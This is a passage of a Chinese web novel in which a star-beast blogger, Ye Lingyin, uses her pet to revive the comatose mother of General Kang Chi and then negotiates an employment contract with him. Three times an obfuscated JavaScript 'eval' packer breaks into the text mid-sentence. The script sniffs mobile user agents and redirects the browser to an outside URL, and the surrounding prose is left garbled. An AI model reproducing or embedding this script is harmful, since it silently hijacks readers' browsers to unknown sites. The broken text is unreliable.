他确实派人私底下调查了几个发帖说自己病好了的人，并且拿到了他们康复前后的诊断证明，结果竟然是真的。并且，这些人的身份背景天差地别，不会为了点蝇头小利而伙同这女人编造谎言。 最终，让康驰下定决心找来叶聆音的理由，是他母亲的病情。 想到自己现在正在做什么，他有些懊恼自己什么时候变得这么蠢了。 连皇室的S级治疗师都对母亲的黑雾病无计可施，自己在一筹莫展之际，竟然会选择去相信一个平时最看不起的网络博主。 这种人在他心里的定位，类似于过去的江湖骗子。 “我相信你。” 说着口是心非的话，康驰拉扯嘴角，露出一个自以为和善的笑容。 他瞥了一眼地上那个会自己动的书包：“你的星兽也带来了，好了，开始施展你的能力吧，让我看看你是如何治好黑雾病的。” 说到这儿，那位细致老练的管家已经打开房门，从里面推出来一个坐轮椅的中年男人。 那人意识恍惚，目光呆滞，得知康驰需要自己做什么的叶聆音已经猜出来，这个人患有黑雾病。 康驰看都没看那人，只是抬手示意管家将病患推到叶聆音那边去。 叶聆音想，康驰不远万里将她“请”到这里，应该和赵杰希一样，是看到她的视频后想要她治愈某个人。 这个人一定对康驰很重要。 而康驰此时对那个轮椅上的男人一副冷漠的态度，他真正想救治的大概率不是这个人，后者只是用来验证叶聆音能力的一只“小白鼠”。 事已至此，叶聆音只能照做。 不过，在这之前，她又重申了一遍：“我从没说过自己拥有治愈黑雾病的能力，如果这场试验证明我无法治愈黑雾病，我希望能尽快回去，还望康上将准许。” 康驰调整了自己的坐姿，整个上半身稍稍前倾。 他以为叶聆音得知自己的身份后，会为了攀附权势努力表现，没想到却是一句提前撇清责任的声明。 她的反应很有趣，但……也符合常理。 至少不是个蠢人。 “好。” 有了这句许诺后，叶聆音从书包中抱出不失绵。 因为乘坐了这么久的飞船，还来到一处陌生的地方，面对这些陌生的人类，不失绵需要时间适应。 叶聆音将星兽抱在怀里安抚，但不失绵始终无法放松下来。别说是将它放在那个陌生男人的腿上，就是让它短暂地离开叶聆音的怀抱一小会儿都做不到。 尝试多次后，叶聆音选择了放弃。 “今天不行。” “星兽需要适应一段时间。” 康驰猛地站起身，像一头竭力压抑怒火的猛兽。他的瞳孔微微收缩，透出一丝凌冽的寒意。 作为帝国上将，他管理的部下，面对他时没一个人敢说出个“不”字。 现在，竟然要他等待一只轻而易举就能踩死的星兽？ 他刀剑般的目光扫向女人怀中的星兽。 不失绵瑟缩在叶聆音怀里，睁着一双漆黑明亮的圆眼睛与康驰对视。 它可不明白这位康驰上将只手遮天的权势。 它只是本能地想要待在主人的怀抱里——这个对它来说最安全的地方。 31. 三日之期 叶聆音不是傻子，她能明显感觉到康驰已经生气了。 但，她又有什么办法呢？ 星兽又不是人类，虽然能与人类建立可以亲密互动的关系，但本质上还是听不懂人类语言的。 就像上幼儿园的小孩子，你越是威胁恐吓，它就越慌张，更不会按照人类的意愿行事了。 “康上将，你们都用一天时间把我带到这里来了，更别提前期调查我花费的工夫。现在只需要再多等差不多两三天的时间，就能验证您想知道的结果了。” “它不是你养的吗？你为什么不能马上让这东西安静下来？”男人怀疑的目光看向叶聆音。 呃……这潜台词好像她故意在这儿使坏一样。 叶聆音正要和他解释，却看到康驰不耐烦地抬了下手。 他打开特制的光脑查看了些什么，似乎是简单计算了一番最近手头的工作。 “好，我就给你三天时间。” “三天后我会再过来。” “你可别让我失望。” 说完，他给守在旁边的老管家递过去一个眼神，就起身离开了别墅。 管家马上心领神会，脸上挂着笑上前：“叶女士，这三天守在这儿的佣人都会全心全意照看您的生活起居，您有什么需要都尽管提出来，只要是对您有帮助的。” 这个“帮助”是指让不失绵尽快调整好状态吧？ “我明白了。” 对方都这么说了，叶聆音也不客气，她把自己目前能想到的有用的东西列了一张清单，交给了那位管家。 康驰手下的人办事效率高得离谱，她睡前简单洗漱了一番，就被佣人告知清单上的物品都采购回来了。 晚上，叶聆音抱着不失绵睡在陌生的床上。 房间十分宽敞，整间卧室加上附带的阳台与浴室，比她自己房子的总面积还大。 别墅客房的摆设不多，看着空荡荡的。 她这种普通平民还有些不适应。 在床上闭着眼睛静静地躺了好一会儿，叶聆音还是睡不着。 好了，她现在搂着“不失绵”，结果自己还失眠了。 或许她也和不失绵一样，需要时间适应陌生的环境吧。 这么想着，叶聆音侧过头看向睡在自己臂弯的星兽。 不失绵比自己刚捡到它的时候长了不少，她还记得第一次在草丛里见到不失绵，因为受了伤而蜷缩着，小小的一个毛团子。 现在，它将脑袋枕在自己的胳膊上，四肢舒展开来睡得放松又安详。 叶聆音反手轻抚它脊背的绒毛，睡梦中的不失绵就会下意识地晃悠下尾巴尖。 她的不失绵……真的拥有治愈黑雾病的力量吗？ 叶聆音望着天花板上的水晶吊灯，思绪万千。 ———— 经过两天在帝都星的生活，不失绵渐渐习惯了新环境。 康家别墅的空间很大，星兽在里面跑上跑下，累了就躺在随处可见的沙发或软椅上休息，饿了就去厨房，二十四小时不间断供应帝国各地的新鲜水果。 它会好奇地打量在这里工作的佣人，但当这些人靠近时还是会因为害怕逃走。管家交代过这只星兽的重要性，让他们干活的时候务必小心，这些佣人也怕出什么差错摊上事，所以大多数时候都会避开不失绵。 在叶聆音抱着不失绵的时候，偶尔也会有对星兽好奇的人凑近看。 别墅周围有几个小花园，还有一个钓鱼的池塘，平时哪怕不用也有专人打理。别墅位置虽然仍然在市区，但因为修建在山上，所以平时很清静。 目前除了叶聆音这个主人临时请来的客人，就是住在这里的一众管家与佣人了。 比起住宅，更像是个私人疗养院。 叶聆音白天用过餐，就会在花园里散散步。 这样理想的“退休”生活只维持了两天，到了第三天早上，抱着不失绵坐在卧室阳台上看朝阳的叶聆音，突然听到外面传来嘈杂的吵闹声。 她推开门，就看到几个佣人靠边站在楼梯上，毕恭毕敬地弯腰行礼。 “魏小姐好。” 紧接着，便看到一个年轻女孩拎着裙子气势汹汹地快步走了上来。少女姣好的面容因为焦急挤作一团，嘴里还大声呼喊着： “康驰哥哥？你在吗？” 迈上最后一级台阶，她一扭头，就与站在卧室门口的叶聆音对视了。 被一众佣人称作“魏小姐”的少女瞪大了双眼，很快，她眼中的震惊变成了落寞，又转而化作愤怒。 昨天晚上，魏沫沫从一个下人那儿得知，康驰将一个女人带回了自己名下的别墅里。 她又急又气，天不亮就带着人杀了过来。 现在果真看到叶聆音出现在这儿，魏沫沫的眼圈瞬间就红了，只是眼神依旧怨毒地瞪着叶聆音。 叶聆音一头雾水。 这位魏小姐是谁？为什么初次见面就对自己表现出这么大的敌意？ 好在，那位跟在康驰身边的管家及时赶到，处理了这场意外。 “魏小姐，这位叶女士只是大少爷请来的客人，请您冷静。” “客人？”魏沫沫看向叶聆音穿着的家居服，很明显这女人昨天晚上就住在这里。 她都没有在这里住过！ 魏沫沫正要发作，却听到一旁的管家说：“大少爷今天晚上会过来，若是他请来的客人出现什么差池，恐怕……”他有意没有将完整的话说出来。 听到这话，魏沫沫终于是消停了下来。 几分钟后，叶聆音理清了前因后果，原来这个魏沫沫把她当成康驰金屋藏娇的对象了。 魏沫沫是康元帅好友的女儿，那位故友逝世后，康元帅就收养了她。 叶聆音不禁感慨，康元帅的家庭内部还真是复杂。 误会解除，魏沫沫仍然没有离开。 她观察着叶聆音，一会儿点评她外貌丑陋，康驰肯定看不上她。一会儿看到叶聆音养着星兽，又说她脑子有病。 叶聆音只是默默喝茶。 对方是康元帅的养女，没必要与其硬碰硬。 而且魏沫沫说的这些话也根本伤害不到她。 她对自己的长相有基本的判断，而且她也不喜欢康驰，无所谓康驰怎么看待她。至于说她养星兽不正常，她当了这么久的星兽博主，类似的留言早就看到免疫了。 当天晚上，康驰如约归来。 他看到魏沫沫在这里并不意外，肯定是早就得到了消息。 看到康驰出现，原本端坐着的女孩突然蹦起，眼神炽热地望着心上人。 “康驰哥哥！” 看着小跑过来的魏沫沫，康驰虽然还是冷冰冰的态度，但也已经比平常那个不近人情的康上将温柔多了。 “沫沫，你该回去了。” “康驰哥哥，管家 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15862825|176123||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 说这个女人是你请来的客人，她是干什么的呀？” 康驰垂眸瞥了她一眼，转而看向管家：“还愣着干什么，还不送魏小姐回去？” 得到了主人的首肯，佣人也不再担心会惹恼了魏沫沫，簇拥着将魏沫沫带离了别墅。 大厅里安静下来，康驰坐到主位上，对着叶聆音微抬下巴示意。 “开始吧。” 他没有问星兽适应得怎么样，而是默认了这是叶聆音在三日时限内应该做到的事情。 叶聆音抱出不失绵，奇怪的是，这一回被管家推出来的不是上次那个“小白鼠”，而是一个枯瘦的妇人，病情看着比之前的那个人还要重一些。 “这是……”她突然有种不祥的预感。 “是我母亲。”康驰很直白地回答了她。 叶聆音感到自己的心脏抽动了一下。 她猜到康驰想救治的是对他很重要的人，但没想到这个人就是元帅夫人。 元帅夫人原来就很少出现在公众面前，所以这几年她彻底销声匿迹后，大家也不觉得有什么问题。 没想到竟然是因为患上了黑雾病。 叶聆音感到无形的压力笼罩在自己头顶，像块巨石一样压得她喘不过气。 目前能彻底根治黑雾病的，就是S级治疗师，普通人家庭是想都别想了。但康驰家不同，他父亲是帝国元帅，只要元帅想救自己的妻子，怎么说都能向陛下请命找来一位治疗师吧？ 但现实是，元帅夫人的儿子康驰找到了她，并将最后的希望寄托在她这个星兽博主身上。 这太不符合常理了。 看到叶聆音惊讶的神情，向来说一不二的康驰十分少见地同她解释道：“已经在皇宫里接受过治疗了，但病情太严重，已经……” 他停顿了一下。 “总之，我相信你。如果你能治好我母亲，我绝不会亏待你，我以自己帝国上将的荣耀起誓。” 你可别相信我！ 叶聆音的手心已然被冷汗浸湿。 连S级治疗师都失败了，她真的能成功吗？ 康驰今天的状态和三天前比也有变化，第一次见面时他对叶聆音的试探更多，还有不屑。但现在，他已然把自己当成了最后的那根稻草。 她鼓起勇气想为自己谋求后路：“康上将，我不能保证星兽一定对您母亲的病情有效果，万一……” 话说到一半，康驰像是被她的话激怒，他猛地站起身，声音陡然提高。 “够了！” 别说是叶聆音，就连常年侍奉在康驰左右的那位管家也吓得浑身一颤。 片刻后，康驰深呼吸一口气，语调恢复如初：“就算结果不尽人意，我也不会把你怎么样的。” “按照约定，我会放你回菲罗星，可以了吗？” 为保万无一失，他本来是想着用其他人做测试。但母亲的病情昨天又加重了，已经没多少时间可以浪费。他也不明白这个女人是如何用她养的星兽治愈黑雾病的，但如果和S级治疗师一样，每次进行治疗后还需要很长的休息时间才能恢复力量，那将得不偿失。 有了康驰这句话，叶聆音的内心瞬间安定不少。 康驰会反悔的可能性很小，毕竟这种人都有傲气，要他违背自己亲口说出的诺言自己也会觉得别扭。 叶聆音抱来不失绵，像那天帮助赵杰希的奶奶一样，将星兽轻轻放到了元帅夫人的腿上。 32. 治愈 温暖的、柔软的。 纷乱的意识仿佛一个个飘散的光点，在一股神秘力量的作用下缓缓聚集起来。 安素雅睁开双眼。 视线起初模糊不清、仿佛隔着一层薄雾。光线洒在雪白的墙壁上，反射出一种令人眩晕的苍白。 随着时间推移，眼前的画面逐渐清晰。 她发现自己躺在一张病床上，身上盖着一条淡蓝色的薄被。 周围有医生护士经过，空气中弥漫着淡淡的消毒水味儿，混合着若有若无药水的苦涩，病房墙壁上的显示屏表明了此刻的日期与时间。 九月二十三号。 是她儿子的生日。 她想起来了，这里是帝国中心医院。 就在这一天，她生下一个孩子。 安素雅低下头，果真在自己怀里看到了新生的婴儿。 发红的皮肤，皱巴巴的小脸。 那么小、那么柔软、那么脆弱，却源源不断地向外散发着热量。 透过衣服的布料，那温暖一点一点传递到她的身体里。 她心中突然涌现出无限的爱意。 她想，自己会永远保护这个孩子。 安素雅想抱起襁褓中的婴儿，可她发现自己的身体却根本动不了。 想呼喊周围的医生护士帮助自己，同样无法发出声音。 像一场漫长的梦魇。 她再次陷入虚无。 与之前不同的是，意识涣散的瞬间，她依旧能感受到那份温暖与柔软。 ———— 帝都星，青岚山上的别墅里。 时间一分一秒地过去，轮椅上的病人紧闭双眼一动不动，旁边围观的几个人同样凝神屏息保持着静止。 除了星兽。 “miu——” 不失绵转过身，看向叶聆音，发出绵长又哀怨的叫声。 她很熟悉这种叫声，是不失绵觉得委屈的时候会出现的声音。 星兽不喜欢待在这个重病妇人的身边，后者身上有股浓重的药味，不同的药水味儿混杂在一起，凝聚成一种特殊的清苦气息，这是病人积年累月地服药才能达到的效果。 它讨厌这个气味。 但即便是如此，不失绵也没有擅作主张自己跳下来，只是向自己的主人求救。 面对不失绵的哀求，叶聆音只好俯下身将星兽抱了起来。 “怎么了？” 康驰急忙走了过来。 “不失绵……它可能是累了。”叶聆音也闻到了元帅夫人身上浓烈的药味，但她面对康驰时不太敢直接说出不失绵是嫌弃这药味，才不愿意待在元帅夫人身旁的。 累了？ 康驰对那只娇生惯养的星兽投去嫌恶的一瞥，便收回目光急匆匆地蹲下身，仔细查看母亲的情况。 元帅夫人背靠在特制的轮椅上，双眼紧闭，呼吸微弱得几乎察觉不到。无力的身体无法保持正坐，全凭轮椅的支撑以一种歪斜的姿势半躺着。 她的状态与之前相比，没有任何变化。 没有作用？ 康驰心中一沉，他扭头看向叶聆音，眼神中无法自控的悲愤展露无遗。 与康驰压抑着怒火的眼睛对视，叶聆音本能地后退了几步。 男人摇摇晃晃地站起身。 现在，他最后的希望也失去了。 想起自己答应过对方，就算尝试过后没有结果也会放她回去。 他背过身不去看叶聆音，只是吩咐管家：“把她送回去吧。” 叶聆音抱着不失绵没有动，她犹豫再三，还是赶在管家把她请出去之前说出了自己的想法。 “康上将，如果您愿意，我可以继续留在这里一段时间。第一次接触或许还看不出效果……我是这样想的。” 赵杰希的奶奶起初也没有完全恢复，如果不是赵杰希经常照顾所以对他奶奶的状态十分了解，叶聆音根本看不出前后变化。但随着他们见面的次数增多，赵奶奶确实好多了。 现在看来，元帅夫人的病情似乎更重一些，短时间更不可能看出明显好转的迹象。 万一真的有效呢？总得多试试。 此外，她也想知道不失绵究竟有没有这样的力量。 康驰挺拔的身形此刻却显得微微佝偻，像是被抽走了大半力气。他回过头目光复杂地看了叶聆音一眼，没有说话。 叶聆音不知道他在想什么，或许是疑惑她这次怎么主动提出要留下来，是不是怀疑她在这里住了三天于是生出了攀附的意图。 毕竟康驰对她的第一印象就不好。 在这个节骨眼上，确实很容易让人误会。 话说出口后，叶聆音开始后悔。 他会不会觉得自己只是想留在帝都星骗吃骗喝？ 焦灼的等待了几分钟，康驰终于做出了回应。 “好，再给你一个月……” 他蓦然想到，母亲是否还能再撑过一个月？思及此处，墨黑的眼眸瞬间黯淡了下去。 “一周就行。”见他迟迟没有下文，叶聆音大着胆子抢先答道。 康驰斜睨着叶聆音，他很少这样被人抢话。但现在，他确实也没有多余的心力计较这些。 “可以。” ———— 叶聆音在帝都星暂住下来。 白天大部分时候，她都抱着不失绵和元帅夫人待在一起。除此之外，每天还有专业的医疗团队给元帅夫人检查身体，康驰偶尔也会抽空过来看望母亲。 这天晚上，小F给她发来了几张图片，是冰箱里剩的蔬菜，原本鲜嫩的菜叶因为脱水变蔫了。 【聆音，你什么时候回来？这些菜很想你】 叶聆音回复说她可能一周后才会回来，冰箱里的菜显然撑不到那个时候，没办法只能丢掉了。 第二天，她又收到了小F传送过来的消息。 它把那些蔬菜的菜心留下来，种到了花盆里。 【聆音，植物真的很神奇(＾▽＾)，这样它们就能等到你回来了】 第五天，叶聆音收到了几张枯死菜心的图片。 如果不是她看到过这几个菜心还是绿色时的本貌，一时半会儿还真瞧不出来这些黄褐色且生着霉菌的不明物体是什么。 【我明明是按网上学来的知识操作的，为什么它们都死了(T＿T)】 叶聆音哭笑不得。 她在对话框输入了文字，却没有按下发送键。 最终，她选择了打语音过去。 小F是用它自己配套的通讯功能接听的，所以叶聆音只能通过小F的摄像头看到房间内的景象。 “聆音？” “小F，那些蔬菜在冰箱里冻久了，可能本来就没多少活力，你种不出来也很正常。” 通过传输过来的画面，叶聆音知道小F现在正坐在窗边。 “是的，我后来又查阅了资料，超市里的蔬菜通常都经过低温处理，还有防腐的化学成分，这可能会影响植物的再生能力。除此之外，土壤的条件也很重要，无论是肥沃度、排水性还是透气程度，都会对……” 眼看话题走向要变成蔬菜栽培技术经验总结，叶聆音急忙让它就此打住。 “小F，可以了，让那些蔬菜安息吧。我打通话过来是因为……” 她迟疑了一下。 是因为什么？ 思考过后，叶聆音恍然发觉，自己只是因为想起了小F，想听听它的声音，哪怕这个机器人自带的声音并不是独一无二的。 “……小F，你最近还好吗？” “我很好啊，今天我打扫房间用时90分钟，阅读书籍用时240分钟，看窗外的小鸟用时165分钟，充电用时60分钟，什么都不做只是待机用时75分钟，因为感到无聊的时间占比较少，所以总体还是好的。” “小F，其实你可以出去逛逛。”叶聆音建议道。 虽然家里的房门用面部识别开启，但也有备用的钥匙卡。小F也不是普通的机器人，总是待在屋 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15862826|176123||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 子里，时间久了或许也会受不了。 小F的声音经由耳机传来：“出门？坏人把我偷走了怎么办？我现在这么贵。” 叶聆音确实没考虑到这个原因，不过，她记得这款机器人配备有自我防卫系统。如果不是蓄谋已久且拥有武器的贼，应该不至于它出个门就被偷走。 “而且，万一被聆音的同事看到我在外面转悠，说不定会把我送进修理厂。” 这倒是。 住在一起的同事知道叶聆音买了个机器人，而且，她被神秘大人物带走的事情已经在公司里传开了。如果在这段时间里，有人目击到她的机器人独自出现在屋外，十有八九会以为小F出现了故障。 这种等比例高级机器人出现问题是很危险的，以叶聆音对那几个同事的了解，他们大概率会直接报警。 “小F，我很快就会回去了。” “好的，聆音，我等你回来。” ———— 留在帝都星的第六天清晨，叶聆音和元帅夫人坐在别墅花园里休息。 黑雾病晚期吃什么药都没用了，医疗团队也给不出什么有价值的建议。但他们毕竟在康驰手下干活，总不能吃白饭，于是只能在一些细枝末节的地方想办法。 比如让元帅夫人多呼吸新鲜空气。 有没有用不知道，但至少不会让病情恶化。 叶聆音抱着不失绵，和元帅夫人并排坐在一起。管家带着几个佣人守在旁边，时不时上来倒茶或是询问叶聆音有什么需要。 花园里开了很多花，轻风吹过的同时也带来了沁人花香，在某种程度上冲淡了元帅夫人身上的苦涩药味。 当叶聆音尝试把不失绵放在元帅夫人怀里时，星兽虽然没有抗拒，却也表现得不是多开心。 不过很快，在和煦微风的吹拂下，玩了一晚上的不失绵困了。 它张大嘴巴打着哈欠，仰起头确认叶聆音就坐在旁边后，便在元帅夫人的怀里找了个舒服的位置，趴下来两爪交叉将脑袋放在上面，睡了。 旁边的佣人见状窃窃私语，大致意思是这样真的能治好夫人的病吗？没等佣人们讨论出结果，就被管家制止了。 叶聆音仰头望天，已经是第六天了，如果明天元帅夫人还没有出现好转的迹象，她就要回菲罗星去了。 对她来说，这就是一趟不怎么放松的免费旅行，几乎没有什么损失。 叶聆音看向身旁的元帅夫人，因为黑雾病的缘故，她看上去比同龄人憔悴得多。脸颊消瘦，眼窝凹陷，干枯的皮肤上皱纹丛生，像宣纸一样菲薄脆弱。 自己也有黑雾病，她以后也会变成这样吗？ 叶聆音到现在都没吃过治疗黑雾病的特效药，最初是因为没钱，后来她发现反正自己也没有任何症状，吃药又不能彻底治愈，还不如等病情影响到生活后再买药。 在经历了赵杰希奶奶成功康复这件事后，她偶尔也怀疑过是因为不失绵，所以自己才没有发病。 这也是她选择多留七天的另一个原因。 叶聆音看向熟睡中的不失绵，星兽毛绒绒的大尾巴盖在元帅夫人的手背上。她知道这种感觉，这会很痒，如果是个正常人，一定已经忍不住伸手去挠或者将手从星兽尾巴下面抽出来了。 叶聆音盯着对方的手看了很长时间，生怕错过任何一个细微的动作，看得眼睛都发酸了。 但元帅夫人毫无反应。 她叹了口气，转身端起桌子上的茶杯抿了抿，又吃了一块点心。 再次转过来，元帅夫人仍然没有任何变化。然而下一秒，她就听到身后管家发出了惊呼声。 “夫人！” 顺着管家的目光将视线上移，叶聆音吓了一跳。 记忆中重病的妇人虽然还是一动不动地瘫软在轮椅上，但那双紧闭着的眼睛不知何时却睁开了！ 大梦初醒，安素雅望着面前这个自己从未见过的女人。 她动动嘴唇，气若游丝地问道： “你是谁？” 33. 交涉 元帅夫人苏醒了过来。 得到这个消息的康驰推掉全部工作赶了回来。 见到母亲恢复意识的那一刻，这个在战场上杀伐果断的男人也红了眼眶。 安素雅虽然记得儿子，还能说一些简短的句子，但她久卧病榻的身体还没有完全恢复，仍然无法自主移动，连动一下手指都费劲。 但即便是这样，也已经超出了康驰的预期。他围坐在母亲身边，那张仿佛万年不变的冰山脸上破天荒地出现了笑容。 长期照料元帅夫人的医疗团队也震惊了，这些年他们研究了各种方法都没能将恶化的病情逆转，为什么这个女人的星兽只用了一周时间，就解决了这个大难题。 叶聆音能明显感觉到，那个跟在元帅夫人身边的医疗团队成员，对她还有不失绵都充满了探索欲。 另一边，安素雅的身体仍十分虚弱，大病初愈恢复记忆与儿子相认后，好几次哭到呼吸困难。医生说夫人现在承受不住情绪波动的影响，建议她静下心来修养，康驰便与母亲分别，让她好好休息。 这期间，康元帅自始至终都没有出现过，也不知道是康驰没有告诉父亲，还是压根就不想来。 当天下午，安顿好了苏醒不久的元帅夫人，康驰这才有时间与叶聆音见面。 叶聆音原本坐在餐厅吃晚饭，康家请来的特级厨师手艺相当了得。 她不久前问过管家，自己能不能打包一些方便储存的点心，对方虽然暗自惊讶于叶聆音的厚脸皮，但确实同意了。他还吩咐人找来一个大礼盒，将里面装得满满当当。 叶聆音很满意。 康驰还没走到餐厅时，她就听到走廊里佣人的问好声。 知道是康驰来了，叶聆音急忙咽下嘴里食物，又抓起酒杯喝了一口将其顺下去。 她急忙站起身，与来人对视。 一反常态的，康驰居高临下的目光在看到她时，竟然有一丝不自然的躲闪。 “坐吧。” 叶聆音便重新坐回座位。 康驰没有提起有关母亲病情的事情，而是看向餐桌上精美的餐食。 “还想吃什么可以吩咐厨房给你做。” 叶聆音噎了一下，或许是因为刚才那一口吃得太猛了。 “不、不必了。” 这种被重点关注的感觉，不比之前被康驰调查出她的过往来得轻松。 哪怕这位帝国上将此时此刻看向她的眼神带上了些许温度，叶聆音仍感到如芒在背。 为缓解尴尬，她伸手去拿酒杯，却发现里面的葡萄酒早就被自己喝完了。 见状，管家正要上前添酒，却被康驰抢先一步。男人拿起酒瓶，给叶聆音的杯子倒上酒，又给自己这边的空杯子也倒了一些。 管家立刻就看懂了气氛，少爷是想和这位叶小姐单独聊聊。他使了个眼色，在旁边待命的佣人马上退了出去，管家也紧随其后。 康驰握着酒杯，在叶聆音对面坐下。 “刚才医疗团队给我母亲做了全面检查，说是恢复得不错。” 叶聆音没碰那杯酒，只是点头：“那真是可喜可贺。” 康驰摇晃着酒杯，同样没有喝。 “叶女士，我希望你能长期留在帝都星。” 没等叶聆音反驳，他继续说道：“我确实承诺过一周过后就让你离开，但事出有因。” “虽然我母亲现在苏醒了过来，但她的黑雾病尚未痊愈。” “所以，我想聘用你作为我母亲的私人治疗师。” 听到那个字眼的叶聆音感到自己的眉心跳了一下。 成为治疗师…… 竟然又让她回到最初的原点了。 叶聆音下意识地想要拒绝，不过，康驰没有给她这个机会。 “康上将，我……” “给你待遇和帝国S级治疗师完全一致，你的家人也一起接过来。就在青岚山附近，你和你的家人可以任意去挑选适合的居所，看中后叫人通知我就行了，其余的无需你们操心。” 康驰一边说，一边在光脑上操作着什么。不一会儿，管家就将一份临时拟定好的雇佣合同送到了叶聆音面前。 通过这些天的接触，识人无数的康驰看得出叶聆音是个顾虑很多，戒心也很重的人。想到这儿，他又补充了一句：“放心吧，就和这座别墅里的所有雇佣的人一样，你和我的信息都会上传天网，这份雇佣合同是具有法律效应的。” 叶聆音拿起那份雇佣合同，又抬头看了一眼坐在对面的康驰，他似乎是认真的。 青岚山虽然不是帝都星上最核心的区域，但住在这里的人仍然非富即贵。按照叶聆音现在的收入，她打一辈子工都没办法在这地界买下一处住宅。 当年因为精神力造假的传闻，她知道父母和妹妹继续待在天昭星也不好过，一直想等自己打拼出点成绩就带他们离开天昭星重新生活。 现在有一个现成的机会摆在眼前，说不心动是假的。 但坏就坏在，这样一来她又和康家纠缠在了一起，这是叶聆音不愿意看到的。 有利有弊，她决定先看看合同上怎么写。 借着头顶的水晶吊灯，叶聆音一条条仔细阅读研究着合同上的各项条款。康驰似乎是没想到她会看合同看得这么仔细，不耐烦地用手指敲击着桌面。 这女人怎么回事？ 正常人见到这么丰厚的条件早就欣喜若狂，恨不得立马签下这份合同生怕他会临时改变主意。 她还怕自己会占她的便宜不成？ 十多分钟后，叶聆音将这份合同里里外外翻了个遍，很多关键信息几乎都能背下来。 康驰这种大人物也犯不着和她耍心眼，合同上写的和他刚才许诺过的别无二致。但是，叶聆音在深思熟虑后，还是决定如实告知自己的看法。 虽说康驰是权势滔天的帝国上将，而自己只是个普通平民，但现在两人却是雇主与雇员的关系，合同内容需要商量的地方不能因此放弃。 “我有两点问题，首先我不能保证元帅夫人的病能完全好。而且，这上面也没有写雇佣期限是多久。” 康驰有些意外叶聆音竟然提出了异议，不过并没有第一时间回绝她。 “你想怎么改？”他微微眯起眼睛。 “我会留在帝都星治疗元帅夫人直到她完全康复，但时间上限是六个月。无论结果如何，六个月后我都会离开。”叶聆音估摸着，如果六个月后元帅夫人还没有彻底康复，说明她的能力就到这儿了，再拖延下去也没有用。 康驰要她做元帅夫人的私人治疗师，如果这期间元帅夫人能够康复，那么她这个专攻黑雾病的治疗师也就没有存在的必要了，毕竟她又不会治疗其他病。 在她提完自己的条件后，康驰的脸色肉眼可见地阴沉了下来。 意料之中。 她现在的做法确实很“不知好歹”。 他如果现在拒绝，把她直接轰出去叶聆音也能接受。 康驰鹰一般的眼睛死死地盯着她，经过漫长的等待后，康驰终于做出了决定。 他叫来管家，让后者根据叶聆音的要求修改这份合同。 叶聆音蹬鼻子上脸的行径确实让康驰感到不悦，但一个有希望治愈晚期黑雾病的人 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“发生什么事了？”小F一边和叶聆音打包行李，一边询问她。 康驰派来的人守在门外，叶聆音便在忙活的空隙，把这些天发生的事大致同小F讲述了一遍。 “聆音，你发达了！”小F发出一声惊呼。 叶聆音扶额，它都是从哪儿看来的这些话。 “聆音的爸爸妈妈还有妹妹也一起去吗？” “嗯，不过在这之前我要先问问他们。” 视频接通后，夫妻俩看到叶聆音在自己的房子里，便知道她是出差回来，还没来得及问她去帝都星感觉怎么样，就听到叶聆音说： “你们想不想去帝都星？” “我们？” 夫妻俩互相对视一眼，发现对方也是一头雾水，才反应过来原来自己没有听错。 叶向明推了推眼镜：“聆音，你是不是要长期去帝都星出差，还是公司送你过去培训啊？如果一个人在那边住不惯，我们可以过来陪你一段时间。” 秦蓝也认为丈夫的推测有道理，去帝都星培训是好事，女儿可能觉得一个人去那么远的地方有些孤独，她刚想说点什么安慰女儿，就看到叶聆音摇头。 “不是。” “在网上很难一时半会说清楚，既然你们能来，那就等到帝都星见面了再说吧。” “三天后会有人来接你们，我把那个人的信息发给你们，你们可以早做准备。” 34. 再遇 挂断视频后，夫妻俩面面相觑。 三天后，果然有一艘来自帝都的私家飞船停落在家门口。 小地方的生活千篇一律，但凡出现点变化，这样的消息都传播得特别快，没一会儿住在附近的闲人都站在不远不近的地方围观吃瓜。 “是谁家的亲戚吗？” “住在咱们这个小区的人，家境都差不多。谁家亲戚能有一艘帝都牌号的私人飞船？” “不知道啊，先看看。” 飞船上走下来几个人，为首的那个穿着一身黑色正装，头发梳得一丝不苟，动作仪态都与生活在这里的普通人格格不入。 那人上前，按响了叶家的门铃。 很快，早有准备的夫妻俩就推门从屋内走了出来。 对方朝两人微微鞠了一躬。 “叶先生，秦女士，两位好。” 见状，站在不远处围观的人群中发出阵阵窃窃私语。 “竟然是来找叶家！” “是那个联合精神力鉴定中心造假的那个叶家吗？” “是啊，住在这儿的人谁不知道当年那件事。简直是声名败坏，把我们这个小区的房价都影响了。” “可我瞧着，那个开私家飞船的人怎么对叶家人那么恭敬？” “不会又想出什么花招骗到冤大头了吧？” 这时，几个胆子大的人站在后面高喊道：“叶家人都是骗子，不要上当了！” 有了起头的就有一帮人跟风在后面嚷嚷，这动静也不算小，不被这边的几人注意到是不可能的。 叶向明和秦蓝的脸色倏地变了。 